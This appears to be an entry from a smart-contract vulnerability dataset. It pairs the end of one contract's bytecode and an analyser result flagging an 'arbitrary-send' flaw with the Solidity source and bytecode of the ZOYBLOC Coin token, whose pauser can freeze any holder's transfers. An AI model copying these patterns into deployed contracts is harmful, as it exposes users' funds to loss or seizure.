ffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610e06575060065483115b15610e1b57610e1483611075565b5050610fa4565b6000600354118015610e6c57506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610ef5576000606460035485610e8391906118bb565b610e8d9190611944565b90508084610e9b91906116a1565b935080600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eec91906116a1565b92505081905550505b82600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f4491906116a1565b9250508190555082600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f9a9190611865565b9250508190555050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff81111561109257611091611975565b5b6040519080825280602002602001820160405280156110c05781602001602082028036833780820191505090505b50905030816000815181106110d8576110d76119a4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561117f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a391906119e8565b816001815181106111b7576111b66119a4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061121e30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610972565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008433426040518663ffffffff1660e01b8152600401611283959493929190611b0e565b600060405180830381600087803b15801561129d57600080fd5b505af11580156112b1573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156112f35780820151818401526020810190506112d8565b83811115611302576000848401525b50505050565b6000601f19601f8301169050919050565b6000611324826112b9565b61132e81856112c4565b935061133e8185602086016112d5565b61134781611308565b840191505092915050565b6000602082019050818103600083015261136c8184611319565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113a482611379565b9050919050565b6113b481611399565b81146113bf57600080fd5b50565b6000813590506113d1816113ab565b92915050565b6000819050919050565b6113ea816113d7565b81146113f557600080fd5b50565b600081359050611407816113e1565b92915050565b6000806040838503121561142457611423611374565b5b6000611432858286016113c2565b9250506020611443858286016113f8565b9150509250929050565b60008115159050919050565b6114628161144d565b82525050565b600060208201905061147d6000830184611459565b92915050565b61148c816113d7565b82525050565b60006020820190506114a76000830184611483565b92915050565b6000806000606084860312156114c6576114c5611374565b5b60006114d4868287016113c2565b93505060206114e5868287016113c2565b92505060406114f6868287016113f8565b9150509250925092565b61150981611399565b82525050565b60006020820190506115246000830184611500565b92915050565b6000602082840312156115405761153f611374565b5b600061154e848285016113c2565b91505092915050565b6000806040838503121561156e5761156d611374565b5b600061157c858286016113c2565b925050602061158d858286016113c2565b9150509250929050565b6000819050919050565b60006115bc6115b76115b284611379565b611597565b611379565b9050919050565b60006115ce826115a1565b9050919050565b60006115e0826115c3565b9050919050565b6115f0816115d5565b82525050565b600060208201905061160b60008301846115e7565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061165857607f821691505b6020821081141561166c5761166b611611565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006116ac826113d7565b91506116b7836113d7565b9250828210156116ca576116c9611672565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061170b6020836112c4565b9150611716826116d5565b602082019050919050565b6000602082019050818103600083015261173a816116fe565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061179d6026836112c4565b91506117a882611741565b604082019050919050565b600060208201905081810360008301526117cc81611790565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061182f6024836112c4565b915061183a826117d3565b604082019050919050565b6000602082019050818103600083015261185e81611822565b9050919050565b6000611870826113d7565b915061187b836113d7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118b0576118af611672565b5b828201905092915050565b60006118c6826113d7565b91506118d1836113d7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561190a57611909611672565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061194f826113d7565b915061195a836113d7565b92508261196a57611969611915565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506119e2816113ab565b92915050565b6000602082840312156119fe576119fd611374565b5b6000611a0c848285016119d3565b91505092915050565b6000819050919050565b6000611a3a611a35611a3084611a15565b611597565b6113d7565b9050919050565b611a4a81611a1f565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a8581611399565b82525050565b6000611a978383611a7c565b60208301905092915050565b6000602082019050919050565b6000611abb82611a50565b611ac58185611a5b565b9350611ad083611a6c565b8060005b83811015611b01578151611ae88882611a8b565b9750611af383611aa3565b925050600181019050611ad4565b5085935050505092915050565b600060a082019050611b236000830188611483565b611b306020830187611a41565b8181036040830152611b428186611ab0565b9050611b516060830185611500565b611b5e6080830184611483565b969550505050505056fea26469706673582212200629d6441f71ffd0dc2ccaaa33801ddac6ca762346f555d2aa41b607ad64bf7664736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,347
0x3A84953d92136A2Fa0338B2A90590D8aa8E050E3
/** *Submitted for verification at Etherscan.io on 2022-01-07 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; library EnumerableSet { struct Set { bytes32[] _values; mapping (bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; bytes32 lastvalue = set._values[lastIndex]; set._values[toDeleteIndex] = lastvalue; set._indexes[lastvalue] = toDeleteIndex + 1; set._values.pop(); delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } struct UintSet { Set _inner; } function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 internal constant DEFAULT_ADMIN_ROLE = 0x00; event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } abstract contract ERC20Burnable is Context, ERC20 { function burn(uint256 amount) public virtual { _burn(_msgSender(), amount*(10**uint256(decimals()))); } function burnFrom(address account, uint256 amount) internal virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } contract Lockable is Context { event Locked(address account); event Unlocked(address account); mapping(address => bool) private _locked; function locked(address _to) internal view returns (bool) { return _locked[_to]; } function _lock(address to) internal virtual { require(to != address(0), "ERC20: lock to the zero address"); _locked[to] = true; emit Locked(to); } function _unlock(address to) internal virtual { require(to != address(0), "ERC20: lock to the zero address"); _locked[to] = false; emit Unlocked(to); } } abstract contract ERC20Pausable is ERC20, Lockable { function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); require(!locked(from), "CustomLockable: token transfer while locked"); } } // 기능은 여기서 통제 contract ERC20PresetMinterPauser is Context, AccessControl, ERC20Burnable, ERC20Pausable { bytes32 internal constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 internal constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); constructor(string memory name, string memory symbol) internal ERC20(name, symbol) { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, _msgSender()); } function mint(address to, uint256 amount) internal virtual { require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint"); _mint(to, amount); } function lock(address to) public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to lock"); _lock(to); } function unlock(address to) public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unlock"); _unlock(to); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20, ERC20Pausable) { super._beforeTokenTransfer(from, to, amount); } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() internal view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() internal virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) internal virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract CreateToken is Ownable, ERC20PresetMinterPauser { constructor () ERC20PresetMinterPauser("ZOYBLOC Coin", "ZBC") public { mint(msg.sender, 30*(10**8)*(10**uint256(decimals())) ); } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806342966c68116100b8578063a457c2d71161007c578063a457c2d71461065c578063a9059cbb146106c2578063ca15c87314610728578063d547741f1461076a578063dd62ed3e146107b8578063f435f5a71461083057610137565b806342966c681461047557806370a08231146104a35780639010d07c146104fb57806391d148541461057357806395d89b41146105d957610137565b80632f2ff15d116100ff5780632f2ff15d1461030b5780632f6c493c14610359578063313ce5671461039d57806336568abe146103c1578063395093511461040f57610137565b806306fdde031461013c578063095ea7b3146101bf57806318160ddd1461022557806323b872dd14610243578063248a9ca3146102c9575b600080fd5b610144610874565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61020b600480360360408110156101d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610916565b604051808215151515815260200191505060405180910390f35b61022d610934565b6040518082815260200191505060405180910390f35b6102af6004803603606081101561025957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061093e565b604051808215151515815260200191505060405180910390f35b6102f5600480360360208110156102df57600080fd5b8101908080359060200190929190505050610a17565b6040518082815260200191505060405180910390f35b6103576004803603604081101561032157600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a37565b005b61039b6004803603602081101561036f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac1565b005b6103a5610b68565b604051808260ff1660ff16815260200191505060405180910390f35b61040d600480360360408110156103d757600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b7f565b005b61045b6004803603604081101561042557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c18565b604051808215151515815260200191505060405180910390f35b6104a16004803603602081101561048b57600080fd5b8101908080359060200190929190505050610ccb565b005b6104e5600480360360208110156104b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cee565b6040518082815260200191505060405180910390f35b6105316004803603604081101561051157600080fd5b810190808035906020019092919080359060200190929190505050610d37565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105bf6004803603604081101561058957600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d69565b604051808215151515815260200191505060405180910390f35b6105e1610d9b565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610621578082015181840152602081019050610606565b50505050905090810190601f16801561064e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106a86004803603604081101561067257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e3d565b604051808215151515815260200191505060405180910390f35b61070e600480360360408110156106d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0a565b604051808215151515815260200191505060405180910390f35b6107546004803603602081101561073e57600080fd5b8101908080359060200190929190505050610f28565b6040518082815260200191505060405180910390f35b6107b66004803603604081101561078057600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f4f565b005b61081a600480360360408110156107ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd9565b6040518082815260200191505060405180910390f35b6108726004803603602081101561084657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611060565b005b606060058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561090c5780601f106108e15761010080835404028352916020019161090c565b820191906000526020600020905b8154815290600101906020018083116108ef57829003601f168201915b5050505050905090565b600061092a610923611107565b848461110f565b6001905092915050565b6000600454905090565b600061094b848484611306565b610a0c84610957611107565b610a078560405180606001604052806028815260200161225d60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109bd611107565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cb9092919063ffffffff16565b61110f565b600190509392505050565b600060016000838152602001908152602001600020600201549050919050565b610a5e6001600084815260200190815260200160002060020154610a59611107565b610d69565b610ab3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f8152602001806120fb602f913960400191505060405180910390fd5b610abd828261168b565b5050565b610b0760405180807f5041555345525f524f4c45000000000000000000000000000000000000000000815250600b0190506040518091039020610b02611107565b610d69565b610b5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806121946038913960400191505060405180910390fd5b610b658161171f565b50565b6000600760009054906101000a900460ff16905090565b610b87611107565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180612314602f913960400191505060405180910390fd5b610c148282611880565b5050565b6000610cc1610c25611107565b84610cbc8560036000610c36611107565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461191490919063ffffffff16565b61110f565b6001905092915050565b610ceb610cd6611107565b610cde610b68565b60ff16600a0a830261199c565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610d618260016000868152602001908152602001600020600001611b6290919063ffffffff16565b905092915050565b6000610d938260016000868152602001908152602001600020600001611b7c90919063ffffffff16565b905092915050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e335780601f10610e0857610100808354040283529160200191610e33565b820191906000526020600020905b815481529060010190602001808311610e1657829003601f168201915b5050505050905090565b6000610f00610e4a611107565b84610efb856040518060600160405280602581526020016122ef6025913960036000610e74611107565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cb9092919063ffffffff16565b61110f565b6001905092915050565b6000610f1e610f17611107565b8484611306565b6001905092915050565b6000610f4860016000848152602001908152602001600020600001611bac565b9050919050565b610f766001600084815260200190815260200160002060020154610f71611107565b610d69565b610fcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806122026030913960400191505060405180910390fd5b610fd58282611880565b5050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110a660405180807f5041555345525f524f4c45000000000000000000000000000000000000000000815250600b01905060405180910390206110a1611107565b610d69565b6110fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806121cc6036913960400191505060405180910390fd5b61110481611bc1565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611195576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806122cb6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561121b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061214c6022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561138c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806122a66025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611412576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806120d86023913960400191505060405180910390fd5b61141d838383611d22565b6114898160405180606001604052806026815260200161216e60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cb9092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061151e81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461191490919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611678576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561163d578082015181840152602081019050611622565b50505050905090810190601f16801561166a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6116b38160016000858152602001908152602001600020600001611d3290919063ffffffff16565b1561171b576116c0611107565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156117c2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206c6f636b20746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f7e6adfec7e3f286831a0200a754127c171a2da564078722cb97704741bbdb0ea81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6118a88160016000858152602001908152602001600020600001611d6290919063ffffffff16565b15611910576118b5611107565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b600080828401905083811015611992576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a22576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806122856021913960400191505060405180910390fd5b611a2e82600083611d22565b611a9a8160405180606001604052806022815260200161212a60229139600260008673fffffffffffffffffffffffffffffffffffff